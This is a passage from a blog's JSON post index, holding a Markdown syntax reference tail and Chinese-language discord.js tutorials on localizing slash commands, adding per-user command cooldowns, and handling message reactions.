Cheese\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003eOutput\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFruit\n\u003cul\u003e\n\u003cli\u003eApple\u003c/li\u003e\n\u003cli\u003eOrange\u003c/li\u003e\n\u003cli\u003eBanana\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDairy\n\u003cul\u003e\n\u003cli\u003eMilk\u003c/li\u003e\n\u003cli\u003eCheese\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eOther Elements — abbr, sub, sup, kbd, mark\u003c/h2\u003e\n\u003ch3\u003eSyntax\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;abbr title=\"Graphics Interchange Format\"\u0026gt;GIF\u0026lt;/abbr\u0026gt; is a bitmap image format.\n\nH\u0026lt;sub\u0026gt;2\u0026lt;/sub\u0026gt;O\n\nX\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt; + Y\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt; = Z\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt;\n\nPress \u0026lt;kbd\u0026gt;\u0026lt;kbd\u0026gt;CTRL\u0026lt;/kbd\u0026gt;+\u0026lt;kbd\u0026gt;ALT\u0026lt;/kbd\u0026gt;+\u0026lt;kbd\u0026gt;Delete\u0026lt;/kbd\u0026gt;\u0026lt;/kbd\u0026gt; to end the session.\n\nMost \u0026lt;mark\u0026gt;salamanders\u0026lt;/mark\u0026gt; are nocturnal, and hunt for insects, worms, and other small creatures.\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003eOutput\u003c/h4\u003e\n\u003cp\u003e\u0026lt;abbr title=\"Graphics Interchange Format\"\u0026gt;GIF\u0026lt;/abbr\u0026gt; is a bitmap image format.\u003c/p\u003e\n\u003cp\u003eH\u0026lt;sub\u0026gt;2\u0026lt;/sub\u0026gt;O\u003c/p\u003e\n\u003cp\u003eX\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt; + Y\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt; = Z\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt;\u003c/p\u003e\n\u003cp\u003ePress \u0026lt;kbd\u0026gt;\u0026lt;kbd\u0026gt;CTRL\u0026lt;/kbd\u0026gt;+\u0026lt;kbd\u0026gt;ALT\u0026lt;/kbd\u0026gt;+\u0026lt;kbd\u0026gt;Delete\u0026lt;/kbd\u0026gt;\u0026lt;/kbd\u0026gt; to end the session.\u003c/p\u003e\n\u003cp\u003eMost \u0026lt;mark\u0026gt;salamanders\u0026lt;/mark\u0026gt; are nocturnal, and hunt for insects, worms, and other small creatures.\u003c/p\u003e\n\u003ch2\u003eSpoiler\u003c/h2\u003e\n\u003cpre\u003e\u003ccode\u003e||hide content||\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e正常情况下,该内容会隐藏 ||hide content||,鼠标悬浮时才会显示。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/markdown/"},{"title":"Bot in Discord with discord.js (16)","time":"2023-04-10T00:00:00Z","content":"\u003ch1\u003eChapter 19 - 命令本地化\u003c/h1\u003e\n\u003cp\u003e本文编写时,项目已升级至 discord.js@v14.9.0。\u003c/p\u003e\n\u003ch3\u003e本地化(Localization)是什么\u003c/h3\u003e\n\u003cp\u003e本地化是指将软件或产品适应不同的语言、文化和地区的过程。\u003c/p\u003e\n\u003cp\u003e本地化可以帮助你的程序在全球范围内更好地接受和使用,从而提高用户体验和满意度。\u003c/p\u003e\n\u003cp\u003e本地化可以帮助你的程序更好地适应当地的文化、习惯和法律法规,从而避免很多问题,特别是你考虑不到的习惯和文化细节的问题。\u003c/p\u003e\n\u003cp\u003e引入本地化可以带来以下好处:提高竞争优势、增加业务收入、减少市场进入障碍。\u003c/p\u003e\n\u003cp\u003e如果你想要进军国际市场,那么本地化是非常重要的。\u003c/p\u003e\n\u003ch3\u003e为命令引入本地化\u003c/h3\u003e\n\u003cp\u003e首先我们需要判断用户的语言/区域设置(locale),这个值就是用户使用 Discord 发送命令时,使用的 Discord 客户端(包括网页版、手机 App、桌面 App 等)里的语言设置。这个设置是跨平台使用的,即用户在一处设置语言,Discord 将处处使用该语言作为客户端 UI 展示用语言。\u003c/p\u003e\n\u003cp\u003e截至本文撰写时,Discord 有效 locale值有:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eLocale\u003c/th\u003e\n\u003cth\u003eLanguage Name\u003c/th\u003e\n\u003cth\u003e语言名称\u003c/th\u003e\n\u003cth\u003eNative Name\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eid\u003c/td\u003e\n\u003ctd\u003eIndonesian\u003c/td\u003e\n\u003ctd\u003e印度尼西亚语\u003c/td\u003e\n\u003ctd\u003eBahasa Indonesia\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eda\u003c/td\u003e\n\u003ctd\u003eDanish\u003c/td\u003e\n\u003ctd\u003e丹麦语\u003c/td\u003e\n\u003ctd\u003eDansk\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ede\u003c/td\u003e\n\u003ctd\u003eGerman\u003c/td\u003e\n\u003ctd\u003e德语\u003c/td\u003e\n\u003ctd\u003eDeutsch\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003een-GB\u003c/td\u003e\n\u003ctd\u003eEnglish, UK\u003c/td\u003e\n\u003ctd\u003e英语(英国)\u003c/td\u003e\n\u003ctd\u003eEnglish, UK\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003een-US\u003c/td\u003e\n\u003ctd\u003eEnglish, US\u003c/td\u003e\n\u003ctd\u003e英语(美国)\u003c/td\u003e\n\u003ctd\u003eEnglish, US\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ees-ES\u003c/td\u003e\n\u003ctd\u003eSpanish\u003c/td\u003e\n\u003ctd\u003e西班牙语\u003c/td\u003e\n\u003ctd\u003eEspañol\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003efr\u003c/td\u003e\n\u003ctd\u003eFrench\u003c/td\u003e\n\u003ctd\u003e法语\u003c/td\u003e\n\u003ctd\u003eFrançais\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ehr\u003c/td\u003e\n\u003ctd\u003eCroatian\u003c/td\u003e\n\u003ctd\u003e克罗地亚语\u003c/td\u003e\n\u003ctd\u003eHrvatski\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eit\u003c/td\u003e\n\u003ctd\u003eItalian\u003c/td\u003e\n\u003ctd\u003e意大利语\u003c/td\u003e\n\u003ctd\u003eItaliano\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003elt\u003c/td\u003e\n\u003ctd\u003eLithuanian\u003c/td\u003e\n\u003ctd\u003e立陶宛语\u003c/td\u003e\n\u003ctd\u003eLietuviškai\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ehu\u003c/td\u003e\n\u003ctd\u003eHungarian\u003c/td\u003e\n\u003ctd\u003e匈牙利语\u003c/td\u003e\n\u003ctd\u003eMagyar\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003enl\u003c/td\u003e\n\u003ctd\u003eDutch\u003c/td\u003e\n\u003ctd\u003e荷兰语\u003c/td\u003e\n\u003ctd\u003eNederlands\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eno\u003c/td\u003e\n\u003ctd\u003eNorwegian\u003c/td\u003e\n\u003ctd\u003e挪威语\u003c/td\u003e\n\u003ctd\u003eNorsk\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003epl\u003c/td\u003e\n\u003ctd\u003ePolish\u003c/td\u003e\n\u003ctd\u003e波兰语\u003c/td\u003e\n\u003ctd\u003ePolski\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ept-BR\u003c/td\u003e\n\u003ctd\u003ePortuguese, Brazilian\u003c/td\u003e\n\u003ctd\u003e葡萄牙语(巴西)\u003c/td\u003e\n\u003ctd\u003ePortuguês do Brasil\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ero\u003c/td\u003e\n\u003ctd\u003eRomanian, Romania\u003c/td\u003e\n\u003ctd\u003e罗马尼亚语(罗马尼亚)\u003c/td\u003e\n\u003ctd\u003eRomână\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003efi\u003c/td\u003e\n\u003ctd\u003eFinnish\u003c/td\u003e\n\u003ctd\u003e芬兰语\u003c/td\u003e\n\u003ctd\u003eSuomi\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003esv-SE\u003c/td\u003e\n\u003ctd\u003eSwedish\u003c/td\u003e\n\u003ctd\u003e瑞典语\u003c/td\u003e\n\u003ctd\u003eSvenska\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003evi\u003c/td\u003e\n\u003ctd\u003eVietnamese\u003c/td\u003e\n\u003ctd\u003e越南语\u003c/td\u003e\n\u003ctd\u003eTiếng Việt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etr\u003c/td\u003e\n\u003ctd\u003eTurkish\u003c/td\u003e\n\u003ctd\u003e土耳其语\u003c/td\u003e\n\u003ctd\u003eTürkçe\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecs\u003c/td\u003e\n\u003ctd\u003eCzech\u003c/td\u003e\n\u003ctd\u003e捷克语\u003c/td\u003e\n\u003ctd\u003eČeština\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eel\u003c/td\u003e\n\u003ctd\u003eGreek\u003c/td\u003e\n\u003ctd\u003e希腊语\u003c/td\u003e\n\u003ctd\u003eΕλληνικά\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ebg\u003c/td\u003e\n\u003ctd\u003eBulgarian\u003c/td\u003e\n\u003ctd\u003e保加利亚语\u003c/td\u003e\n\u003ctd\u003eбългарски\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eru\u003c/td\u003e\n\u003ctd\u003eRussian\u003c/td\u003e\n\u003ctd\u003e俄语\u003c/td\u003e\n\u003ctd\u003ePусский\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003euk\u003c/td\u003e\n\u003ctd\u003eUkrainian\u003c/td\u003e\n\u003ctd\u003e乌克兰语\u003c/td\u003e\n\u003ctd\u003eУкраїнська\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ehi\u003c/td\u003e\n\u003ctd\u003eHindi\u003c/td\u003e\n\u003ctd\u003e印地语\u003c/td\u003e\n\u003ctd\u003eहिन्दी\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eth\u003c/td\u003e\n\u003ctd\u003eThai\u003c/td\u003e\n\u003ctd\u003e泰语\u003c/td\u003e\n\u003ctd\u003eไทย\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ezh-CN\u003c/td\u003e\n\u003ctd\u003eChinese, China\u003c/td\u003e\n\u003ctd\u003e简体中文\u003c/td\u003e\n\u003ctd\u003e中文\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eja\u003c/td\u003e\n\u003ctd\u003eJapanese\u003c/td\u003e\n\u003ctd\u003e日语\u003c/td\u003e\n\u003ctd\u003e日本語\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ezh-TW\u003c/td\u003e\n\u003ctd\u003eChinese, Taiwan\u003c/td\u003e\n\u003ctd\u003e繁体中文\u003c/td\u003e\n\u003ctd\u003e繁體中文\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eko\u003c/td\u003e\n\u003ctd\u003eKorean\u003c/td\u003e\n\u003ctd\u003e韩语\u003c/td\u003e\n\u003ctd\u003e한국어\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e我们下面使用一个示例斜杠命令来解释如何为命令实现本地化。\u003c/p\u003e\n\u003cp\u003e下面我们将实现多语言回复“你好”的命令 \u003ccode\u003e/hello\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder, ButtonBuilder, ActionRowBuilder, ButtonStyle } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('hello')\n // you can set localized names in bulk\n .setNameLocalizations({\n 'en-GB': 'hello2',\n 'zh-CN': '你好',\n 'zh-TW': '你好',\n 'cs': 'ahoj',\n 'ru': 'привет',\n 'ko': '안녕하세요',\n 'es-ES': 'hola'\n })\n .setDescription('Replies with hello, but in localized response!')\n // you can set localized descriptions in bulk\n .setDescriptionLocalizations({\n 'zh-TW': '回复你好,但以本地化回复!',\n 'cs': 'Odpovědi ahoj, ale v lokalizované odpovědi!',\n 'en-GB': 'Replies with hello, but in localized response2!',\n 'es-ES': '¡Responde con hola, pero en respuesta localizada!',\n 'ko': '안녕하세요로 회신하지만 현지화된 응답으로!',\n 'zh-CN': '回复你好,但以本地化回复!',\n 'ru': 'Отвечает приветствием, но локализованным ответом!'\n })\n ,\n async execute(interaction) {\n const HelloWorldLocales = {\n 'zh-CN': '你好世界!',\n 'en-GB': 'Hello world2!',\n 'zh-TW': '你好世界!',\n 'cs': 'Ahoj světe',\n 'ko': '안녕 세상!',\n 'es-ES': '¡Hola Mundo!',\n 'ru': 'Привет, мир!',\n };\n\n const eatLocales = {\n 'en-GB': 'Eat2',\n 'zh-CN': '吃',\n 'es-ES': 'Comer'\n }\n const sleepLocales = {\n 'zh-CN': '睡觉',\n 'es-ES': 'Dormir'\n }\n\n // add two buttons that are absolutely useless\n // just a localization example\n const row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId(`b1`)\n .setLabel(eatLocales[interaction.locale] ?? 'Eat')\n .setStyle(ButtonStyle.Primary),\n new ButtonBuilder()\n .setCustomId(`b2`)\n .setLabel(sleepLocales[interaction.locale] ?? 'Sleep')\n .setStyle(ButtonStyle.Danger),\n );\n\n // default is English: Hello world!\n await interaction.reply({\n content: `${HelloWorldLocales[interaction.locale] ?? 'Hello world!'}, locale:(${interaction.locale}})`,\n components: [row]\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e效果图\u003c/h3\u003e\n\u003ch4\u003e语言设置为 zh-CN (已完全翻译)\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004054782-1296409362.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004100726-1586746703.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004107247-1693431343.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch4\u003e语言设置为 es-ES (已完全翻译)\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004132736-805387899.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004137916-1397801290.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004148445-414270500.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch4\u003e语言设置为 ru (未翻译按钮)\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004455186-775268293.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004503871-1561345516.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch4\u003e语言设置为 ja (完全未翻译)\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004613590-2078259659.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230410004616652-516882406.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e小结\u003c/h3\u003e\n\u003cp\u003e我们学习了在 discord.js 里进行本地化翻译的基本操作\u003c/p\u003e\n\u003cp\u003e原文作者闪电豹猫,原文链接https://www.cnblogs.com/hhzm/p/17301564.html 转载注明出处\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-16/"},{"title":"Bot in Discord with discord.js (15)","time":"2023-04-09T00:00:00Z","content":"\u003ch1\u003eChapter 18 - 命令冷却时间\u003c/h1\u003e\n\u003cp\u003e本文撰写时,项目已升级至 discord.js@v14.9.0。\u003c/p\u003e\n\u003cp\u003e很多时候,我们不希望频道被单一用户用洪水般的命令消息所淹没,又或者出于对服务器性能的考虑,我们不得不为命令加上一个冷却时间(Cooldown)作为使用限制。下面我们来看看如何在我们已有的代码上进行改造,以获得命令冷却的效果。\u003c/p\u003e\n\u003ch3\u003e创建 \u003ccode\u003ecommands/longCooldownPing.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e为了与原有代码兼容,我们将设计成这样:\u003ccode\u003emodule.exports\u003c/code\u003e 中,没有 \u003ccode\u003ecooldown\u003c/code\u003e 值的旧代码,将使用我们后续设置的默认冷却时间。而有该值的新代码,直接使用该值作为冷却时间。\u003c/p\u003e\n\u003cp\u003e我们创建一个拥有 15 秒 冷却时间的命令 \u003ccode\u003e/coolping\u003c/code\u003e。同一个用户在第一次成功使用命令后的 15 秒内将不被再次允许使用这项命令,除非 15 秒后,冷却时间结束。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/longCooldownPing.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n // 这里设置一个冷却时长,单位为秒\n cooldown: 15,\n data: new SlashCommandBuilder()\n .setName('coolping')\n .setDescription('Replies with Pong, but with a 15 secs cooldown!'),\n async execute(interaction) {\n await interaction.reply(\"Pong!\");\n // 每次都提示这个用户,他的下一次该命令将在 15 秒后可用\n await interaction.followUp({\n content: `Next /coolping will be available in 15 seconds`,\n ephemeral: true, // 必须为 true, 不然不相干的用户也将看见\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e现在别急着执行 \u003ccode\u003e/coolping\u003c/code\u003e,我们还没设计判断冷却时间的逻辑呢。\u003c/p\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e我们要在执行命令前判断是否过了冷却时间,而不是之后。所以相关的判断逻辑应该在咱们 \u003ccode\u003eif (interaction.isChatInputCommand())\u003c/code\u003e 之前。\u003c/p\u003e\n\u003cp\u003e但是我们知道,一个交互(Interaction),它不一定就是个命令,它也可能是条普通消息,我们不希望在非命令上整这么个冷却时间。所以,先来个 \u003ccode\u003eif (interaction.isCommand()) { ... }\u003c/code\u003e,我们所有冷却时间逻辑都写在这里面。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e 开头节选:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events } = require('discord.js');\n\nmodule.exports = {\n\tname: Events.InteractionCreate,\n\tasync execute(interaction) {\n\t\t// we only need to check cooldown on a command, not on every single interaction\n\t\tif (interaction.isCommand()) {\n\n\t\t// 这里写冷却时间判断逻辑,in constrction\n\t\t\n\t\t}\n\n\t\tif (interaction.isChatInputCommand()) {\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e是这么考虑的:对于第一次执行某命令的用户,我们将现在时间 \u003ccode\u003enow\u003c/code\u003e 加上该命令的冷却时间 \u003ccode\u003ecooldown\u003c/code\u003e,计算得到过期时间 \u003ccode\u003eexpirationTime\u003c/code\u003e, 即 \u003ccode\u003eexpirationTime = now + cooldown\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e接着,将用户 ID 与过期时间结合起来成为一个条目储存到与命令名相关的数据结构里,以便在这个人下一次执行相同命令时,判断确定是否过了冷却时间。为此,需要创建一个 叫 \u003ccode\u003ecooldowns\u003c/code\u003e 的 Collection,并导包 。(注意区分 \u003ccode\u003ecooldown\u003c/code\u003e 和 \u003ccode\u003ecooldowns\u003c/code\u003e)\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e 开头节选:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events, Collection } = require('discord.js');\nlet cooldowns = new Collection();\nmodule.exports = {\n\tname: Events.InteractionCreate,\n\tasync execute(interaction) {\n\t\t// we only need to check cooldown on a command, not on every single interaction\n\t\tif (interaction.isCommand()) {\n\t\t\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面考虑实现逻辑。在 \u003ccode\u003ecooldowns\u003c/code\u003e 里存储这样的键值对:( 命令名, ( 用户ID, 过期时间 ) )。所以为每一个第一次出现的命令,往 cooldowns 里存一个键值对,key 是命令名,value 是空 Collection:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nif (interaction.isCommand()) {\n\t// 获取命令本体\n\tconst command = await interaction.client.commands.get(interaction.commandName);\n\n\t// 如果该命令在程序生存期内第一次出现,则给他开一个 Collection\n\tif (!cooldowns.has(command.data.name)) {\n\t\tcooldowns.set(command.data.name, new Collection());\n\t}\n\t\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e做完这些准备工作后,我们继续。下面的代码挺好懂得,就是获取当前时间,获取命令里存储的 cooldown 值,加一块儿得到过期时间。如果命令没有设置 cooldown 值,则使用默认值,我们这里设置默认值为 0 秒。cooldownAmount 单位是毫秒,用于条目过期后,程序自动删除该条目的。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nconst now = Date.now(); // get current time\nconst timestamps = await cooldowns.get(command.data.name);\nconst defaultCooldownDuration = 0; // we set a DEFAULT value for those legacy command that didn't set a cooldown\nconst cooldownAmount = (command.cooldown ?? defaultCooldownDuration) * 1000;\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e接着考虑用户近期(指的是该用户还有条目)非第一次执行的话,判断是否已过期:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nif (timestamps.has(interaction.user.id)) {\n\tconst expirationTime = await timestamps.get(interaction.user.id) + cooldownAmount;\n\tif (now \u0026lt; expirationTime) {\n\t\t// 不是现在,用户你继续等吧\n\t\tconst expiredTimestamp = Math.round(expirationTime / 1000);\n\t\t// 在 Discord 里提醒下用户,还得继续等\n\t\treturn interaction.reply({\n\t\t\tcontent: `Please wait for \u0026lt;t:${expiredTimestamp}:R\u0026gt; more time before reusing the \\`${command.data.name}\\` command.`,\n\t\t\tephemeral: true // 设置 true,不然不相干的用户也能看见这条消息\n\t\t});\n\t} else {\n\t\t// 该用户的冷却时间已过去了,放行继续\n\t}\n}\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们还要考虑近期第一次执行某命令,以及关于命令冷却时间已过去的那些用户,为他们关于该命令设置“解锁时间”:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n// add a cooldown lock\nawait timestamps.set(interaction.user.id, now);\n// wait and wait\nawait setTimeout(() =\u0026gt; timestamps.delete(interaction.user.id), cooldownAmount);\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这样我们就完成了修改。下面是修改后 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e 的内容开头节选:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events, Collection } = require('discord.js');\nlet cooldowns = new Collection();\nmodule.exports = {\n\tname: Events.InteractionCreate,\n\tasync execute(interaction) {\n\t\t// we only need to check cooldown on a command, not on every single interaction\n\t\tif (interaction.isCommand()) {\n\t\t\tconst command = await interaction.client.commands.get(interaction.commandName);\n\n\t\t\tif (!cooldowns.has(command.data.name)) {\n\t\t\t\tcooldowns.set(command.data.name, new Collection());\n\t\t\t}\n\n\t\t\tconst now = Date.now(); // get current time\n\t\t\tconst timestamps = await cooldowns.get(command.data.name);\n\t\t\tconst defaultCooldownDuration = 0; // we set a DEFAULT value for those legacy command that didn't set a cooldown\n\t\t\tconst cooldownAmount = (command.cooldown ?? defaultCooldownDuration) * 1000;\n\n\t\t\tif (timestamps.has(interaction.user.id)) {\n\t\t\t\tconst expirationTime = await timestamps.get(interaction.user.id) + cooldownAmount;\n\t\t\t\tif (now \u0026lt; expirationTime) {\n\t\t\t\t\t// not now, still wait\n\t\t\t\t\tconst expiredTimestamp = Math.round(expirationTime / 1000);\n\t\t\t\t\treturn interaction.reply({\n\t\t\t\t\t\tcontent: `Please wait for \u0026lt;t:${expiredTimestamp}:R\u0026gt; more time before reusing the \\`${command.data.name}\\` command.`,\n\t\t\t\t\t\tephemeral: true\n\t\t\t\t\t});\n\t\t\t\t} else {\n\t\t\t\t\t// cooldown expired for that user, proceed\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// add a cooldown lock\n\t\t\tawait timestamps.set(interaction.user.id, now);\n\t\t\t// wait and wait\n\t\t\tawait setTimeout(() =\u0026gt; timestamps.delete(interaction.user.id), cooldownAmount);\n\t\t}\n\t\t\n\t\tif (interaction.isChatInputCommand()) {\n\t\t// 后面我们没改过,太长了,略\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e相关 commit 可以在这里查看:\nGithub:https://github.com/wtflmao/discord_bot_example/commit/4ecb8c2cb29240776f1cb6660ea7b810dc2ff963\nGitee:https://gitee.com/wtflmao/discord_bot_example/commit/4ecb8c2cb29240776f1cb6660ea7b810dc2ff963\u003c/p\u003e\n\u003cp\u003e效果图:\n近期第一次 \u003ccode\u003e/coolping\u003c/code\u003e:\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230409160747347-379304443.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e4 秒后(未过冷却时间),第二次执行 \u003ccode\u003e/coolping\u003c/code\u003e:\n\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202304/2455224-20230409160751181-1126526170.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e小结\u003c/h3\u003e\n\u003cp\u003e我学习了为命令设置冷却时间。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-15/"},{"title":"Bot in Discord with discord.js (14)","time":"2023-01-24T00:00:00Z","content":"\u003ch1\u003eChapter 17 - Reaction 反应\u003c/h1\u003e\n\u003cp\u003e反应(Reactions)是这样的一种东西:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124221854869-52977036.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e你可以这样为一条消息添加反应:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124221912227-851394996.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e不是任何消息都可以被添加反应的。比如管理员设置了成员在某些频道不允许添加反应,或者只允许某些身份组的人可以为某些消息添加反应。\u003c/p\u003e\n\u003cp\u003e这样看来,“反应” 就是一种 emoji 回复。下面我们来看看机器人如何为一条消息识别、添加和移除反应。\u003c/p\u003e\n\u003ch3\u003eDiscord Emoji 的种类\u003c/h3\u003e\n\u003cp\u003e在 Discord 里,emoji 有两类,一种是跨平台、跨软件、跨设备都通用的 Unicode 标准 emoji,还有一种是 Discord 自定义 emoji。前者属于 unicode 标准,一个表情属于一个字符,后者则不属于 unicode 标准,只限在 Discord 平台里流通。\u003c/p\u003e\n\u003cp\u003e下面我们来举个例子:\u003c/p\u003e\n\u003cp\u003e微笑 🙂 是一个 Unicode emoji,在 discord 里,它可被记为 \u003ccode\u003e:smile:\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e我们在服务器设置里上传了个自己的表情,叫 \u003ccode\u003e:WumpusMistletoe2:\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e下面就是对表情反应的示例图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222209218-1136736470.png\" alt=\"image\" 